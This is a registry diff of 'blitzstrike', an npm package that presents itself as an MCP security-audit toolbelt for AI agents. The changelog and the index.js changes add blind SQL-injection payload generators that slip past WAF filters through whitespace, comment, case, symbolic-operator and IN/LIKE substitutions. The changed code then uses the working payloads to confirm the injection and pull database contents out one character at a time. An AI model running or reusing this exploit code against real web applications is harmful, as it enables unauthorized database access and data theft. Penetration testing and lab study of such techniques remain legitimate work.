blitzstrike 2.4.164 → 2.4.166
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +33 -0
- package/dist/index.js +94 -33
- package/package.json +1 -1
package/CHANGELOG.md
CHANGED
|
@@ -5,6 +5,39 @@ All notable changes to Blitz Strike are documented here.
|
|
|
5
5
|
The format follows [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
|
6
6
|
and this project adheres to [Semantic Versioning](https://semver.org/).
|
|
7
7
|
|
|
8
|
+
## [2.4.166] — 2026-10-11
|
|
9
|
+
|
|
10
|
+
### Added — expanded WAF-bypass techniques (sqlmap + PayloadsAllTheThings)
|
|
11
|
+
|
|
12
|
+
- New bypass dimensions beyond space/comment/case, sourced from sqlmap's 66 tamper
|
|
13
|
+
scripts + PayloadsAllTheThings/OWASP:
|
|
14
|
+
- Whitespace: LF `%0A` + CR `%0D` (MySQL 5 accepts 09/0A/0B/0C/0D/A0/20).
|
|
15
|
+
- symbolic-logical: `AND`→`&&`, `OR`→`||` (bypasses case-insensitive keyword filters).
|
|
16
|
+
- equaltolike: `=`→`IN ('x')` — exact, no `LIKE` wildcard (`_`/`%`) false-positives
|
|
17
|
+
and no `AND` keyword (BETWEEN would collide with `&&`).
|
|
18
|
+
- LIKE-based boolean oracle (`'a' LIKE 'a` vs `'a' LIKE 'b`) for `=`-filtered targets.
|
|
19
|
+
- Combined variants for stacked WAFs (e.g. LF + `&&` + `IN` + `#` comment).
|
|
20
|
+
- Verified on a new lab level 6 (blocks space+tab+`/* */`+`=`+`and`/`or`
|
|
21
|
+
case-insensitively): confirm + extract version/database/user/flag all correct.
|
|
22
|
+
|
|
23
|
+
## [2.4.165] — 2026-10-11
|
|
24
|
+
|
|
25
|
+
### Added — combined WAF-bypass for stacked filters (blind SQLi)
|
|
26
|
+
|
|
27
|
+
- `blind_sqli_confirm` + `blind_sqli_extract` now generate COMBINED bypass variants
|
|
28
|
+
(space × comment × case), not single-technique ones: `/**/`+`#` (space-strip),
|
|
29
|
+
`/**/`+case+`#` (space+keyword strip), tab-as-space + case-swap, and quote-balance
|
|
30
|
+
(no trailing comment — the payload ends on an open string the query's quote closes)
|
|
31
|
+
for comment-strip WAFs that also break `-- `.
|
|
32
|
+
- Extract's context-discovery now tries the same bypass variants (a stacked WAF
|
|
33
|
+
blocks the default oracle, so the byte-count reference must come from the working
|
|
34
|
+
variant), and the extraction `render` applies the winning space style (tab/`/**/`)
|
|
35
|
+
to the query expression's internal spaces too — so `(SELECT secret FROM flag)`
|
|
36
|
+
survives a space-strip WAF.
|
|
37
|
+
- Verified end-to-end on a custom 5-level WAF lab (baseline → space → keyword →
|
|
38
|
+
space+keyword → space+keyword+comment): all 5 levels now confirm + extract, and
|
|
39
|
+
the level-5 flag extracts with exact case (`FLAG{B1nD_SQLi_M4st3r_ByP4ss_2026}`).
|
|
40
|
+
|
|
8
41
|
## [2.4.164] — 2026-10-11
|
|
9
42
|
|
|
10
43
|
### Fixed — binary-search case regression on case-insensitive DBMS
|
package/dist/index.js
CHANGED
|
@@ -62469,26 +62469,78 @@ async function blindOracle(baseUrl, param, value, opts = {}) {
|
|
|
62469
62469
|
}
|
|
62470
62470
|
function oracleBypassVariants(base) {
|
|
62471
62471
|
const body = base.replace(/^'/, "");
|
|
62472
|
-
|
|
62473
|
-
|
|
62474
|
-
|
|
62475
|
-
|
|
62476
|
-
|
|
62477
|
-
|
|
62478
|
-
|
|
62479
|
-
|
|
62480
|
-
|
|
62481
|
-
|
|
62472
|
+
const dash = body;
|
|
62473
|
+
const hash = body.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62474
|
+
const bal = body.replace(/(\d)=(\d)-- -/, "'$1'='$2");
|
|
62475
|
+
const likeBool = body.replace(/(\d)=(\d)-- -/, (_, a, b) => a === b ? "'a' LIKE 'a" : "'a' LIKE 'b");
|
|
62476
|
+
const cs = (s) => s.replace(/AND/g, "aNd").replace(/OR/g, "oR").replace(/IF/g, "iF").replace(/SLEEP/g, "sLeEp");
|
|
62477
|
+
const sym = (s) => s.replace(/AND/g, "&&").replace(/OR/g, "||");
|
|
62478
|
+
const sp = (s, x) => x === " " ? s : s.replace(/ /g, x);
|
|
62479
|
+
const out = [];
|
|
62480
|
+
for (const cmt of [dash, hash, bal, likeBool]) {
|
|
62481
|
+
for (const x of [" ", "/**/", "\t", `
|
|
62482
|
+
`, "\r"]) {
|
|
62483
|
+
out.push(`'${sp(cmt, x)}`);
|
|
62484
|
+
out.push(`'${sp(cs(cmt), x)}`);
|
|
62485
|
+
out.push(`'${sp(sym(cmt), x)}`);
|
|
62486
|
+
}
|
|
62487
|
+
}
|
|
62488
|
+
out.push(`"${dash}`, dash, `')${dash}`, `")${dash}`, `"${hash}`, `')${hash}`, `")${hash}`);
|
|
62489
|
+
return out;
|
|
62482
62490
|
}
|
|
62483
62491
|
function extractBypassVariants(tpl) {
|
|
62484
62492
|
const fn = tpl.includes("SUBSTRING") ? "SUBSTRING" : "SUBSTR";
|
|
62485
62493
|
const fns = [fn, fn === "SUBSTRING" ? "sUbStRiNg" : "sUbStR", fn === "SUBSTRING" ? "SUBSTR" : "SUBSTRING", "MID"];
|
|
62486
62494
|
const contexts = ["'", '"', "", "')", '")'];
|
|
62487
|
-
const
|
|
62488
|
-
for (const c of contexts)
|
|
62489
|
-
|
|
62490
|
-
|
|
62491
|
-
|
|
62495
|
+
const out = [];
|
|
62496
|
+
for (const c of contexts) {
|
|
62497
|
+
const base = tpl.replace(/^'/, c);
|
|
62498
|
+
const dash = base;
|
|
62499
|
+
const hash = base.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62500
|
+
const bal = base.replace(/'(-- -|--)$/, "");
|
|
62501
|
+
const like = base.replace(/='\{char\}'/, "IN ('{char}')");
|
|
62502
|
+
const likeHash = like.replace(/-- -$/, "#").replace(/--$/, "#");
|
|
62503
|
+
const combos = [
|
|
62504
|
+
[dash, " ", "none"],
|
|
62505
|
+
[hash, " ", "none"],
|
|
62506
|
+
[dash, "/**/", "none"],
|
|
62507
|
+
[dash, " ", "case"],
|
|
62508
|
+
[bal, " ", "none"],
|
|
62509
|
+
[hash, "/**/", "none"],
|
|
62510
|
+
[hash, "/**/", "case"],
|
|
62511
|
+
[hash, "\t", "case"],
|
|
62512
|
+
[bal, "\t", "case"],
|
|
62513
|
+
[bal, "/**/", "case"],
|
|
62514
|
+
[dash, `
|
|
62515
|
+
`, "none"],
|
|
62516
|
+
[hash, `
|
|
62517
|
+
`, "case"],
|
|
62518
|
+
[bal, `
|
|
62519
|
+
`, "case"],
|
|
62520
|
+
[dash, " ", "sym"],
|
|
62521
|
+
[like, " ", "none"],
|
|
62522
|
+
[like, "/**/", "none"],
|
|
62523
|
+
[likeHash, `
|
|
62524
|
+
`, "sym"],
|
|
62525
|
+
[likeHash, "\t", "sym"],
|
|
62526
|
+
[like, `
|
|
62527
|
+
`, "sym"],
|
|
62528
|
+
[likeHash, " ", "sym"]
|
|
62529
|
+
];
|
|
62530
|
+
for (const [cmt, s, mode] of combos) {
|
|
62531
|
+
let b = cmt;
|
|
62532
|
+
if (mode === "case")
|
|
62533
|
+
b = b.replace(fn, fns[1]).replace(/AND/g, "aNd");
|
|
62534
|
+
else if (mode === "sym")
|
|
62535
|
+
b = b.replace(/AND/g, "&&").replace(/OR/g, "||");
|
|
62536
|
+
if (s === "/**/")
|
|
62537
|
+
b = b.replace(/ /g, "/**/");
|
|
62538
|
+
else if (s !== " ")
|
|
62539
|
+
b = b.replace(/ /g, s);
|
|
62540
|
+
out.push(b);
|
|
62541
|
+
}
|
|
62542
|
+
}
|
|
62543
|
+
return out;
|
|
62492
62544
|
}
|
|
62493
62545
|
function makeFetcher(base, param, method, bodyTpl, cookieName) {
|
|
62494
62546
|
const headers = { "User-Agent": "Mozilla/5.0 (blitzstrike)" };
|
|
@@ -62624,25 +62676,28 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62624
62676
|
let trueSize = -1, falseSize = -1;
|
|
62625
62677
|
let ctxFound = false;
|
|
62626
62678
|
if (channel === "boolean") {
|
|
62627
|
-
|
|
62628
|
-
|
|
62629
|
-
|
|
62679
|
+
const btv = oracleBypassVariants(p.oracle.boolean_true);
|
|
62680
|
+
const bfv = oracleBypassVariants(p.oracle.boolean_false);
|
|
62681
|
+
for (let i = 0;i < btv.length; i++) {
|
|
62682
|
+
const tp = `${value}${btv[i]}`, fp = `${value}${bfv[i]}`;
|
|
62683
|
+
let diff = false, tN = -1, fN = -1;
|
|
62630
62684
|
if (marker) {
|
|
62631
|
-
|
|
62632
|
-
|
|
62633
|
-
|
|
62634
|
-
|
|
62635
|
-
}
|
|
62685
|
+
const tb = await getBody(tp), fb = await getBody(fp);
|
|
62686
|
+
diff = tb.includes(marker) !== fb.includes(marker);
|
|
62687
|
+
tN = tb.length;
|
|
62688
|
+
fN = fb.length;
|
|
62636
62689
|
} else {
|
|
62637
|
-
const t = await getSize(tp);
|
|
62638
|
-
|
|
62639
|
-
|
|
62640
|
-
|
|
62641
|
-
|
|
62642
|
-
|
|
62643
|
-
|
|
62644
|
-
|
|
62645
|
-
|
|
62690
|
+
const t = await getSize(tp), f = await getSize(fp);
|
|
62691
|
+
diff = t >= 0 && f >= 0 && t !== f;
|
|
62692
|
+
tN = t;
|
|
62693
|
+
fN = f;
|
|
62694
|
+
}
|
|
62695
|
+
if (diff) {
|
|
62696
|
+
ctx = "'";
|
|
62697
|
+
trueSize = tN;
|
|
62698
|
+
falseSize = fN;
|
|
62699
|
+
ctxFound = true;
|
|
62700
|
+
break;
|
|
62646
62701
|
}
|
|
62647
62702
|
}
|
|
62648
62703
|
if (!ctxFound)
|
|
@@ -62662,7 +62717,13 @@ async function blindSqliExtract(baseUrl, param, value, dbms, target, opts = {})
|
|
|
62662
62717
|
const caseInsensitive = p.dbms === "mysql" || p.dbms === "mssql";
|
|
62663
62718
|
const bsCharset = caseInsensitive ? "0123456789abcdefghijklmnopqrstuvwxyz" : "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
|
|
62664
62719
|
const baseTpl = (channel === "time" ? p.extraction.time : p.extraction.boolean).replace(/^'/, ctx);
|
|
62665
|
-
const render = (tpl, pos, ch) =>
|
|
62720
|
+
const render = (tpl, pos, ch) => {
|
|
62721
|
+
const spaceStyle = tpl.includes("\t") ? "\t" : tpl.includes(`
|
|
62722
|
+
`) ? `
|
|
62723
|
+
` : tpl.includes("\r") ? "\r" : tpl.includes("/**/") ? "/**/" : " ";
|
|
62724
|
+
const q = spaceStyle === " " ? queryExpr : queryExpr.replace(/ /g, spaceStyle);
|
|
62725
|
+
return `${value}${tpl.replace(/\{query\}/g, q).replace(/\{pos\}/g, String(pos)).replace(/\{char\}/g, ch).replace(/\{sec\}/g, "1")}`;
|
|
62726
|
+
};
|
|
62666
62727
|
const isTrue = async (tpl, pos, ch) => {
|
|
62667
62728
|
if (channel === "time")
|
|
62668
62729
|
return await getTime(render(tpl, pos, ch)) > 600;
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "blitzstrike",
|
|
3
|
-
"version": "2.4.
|
|
3
|
+
"version": "2.4.166",
|
|
4
4
|
"description": "Blitz Strike — a universal MCP security-audit toolbelt. BLITZ sweeps the attack surface, EAGLE-EYE traces source-to-sink, STRIKE verifies live. 57 attack chains, 130-tool catalog, intelligence data layer. One server, every agent.",
|
|
5
5
|
"type": "module",
|
|
6
6
|
"bin": {
|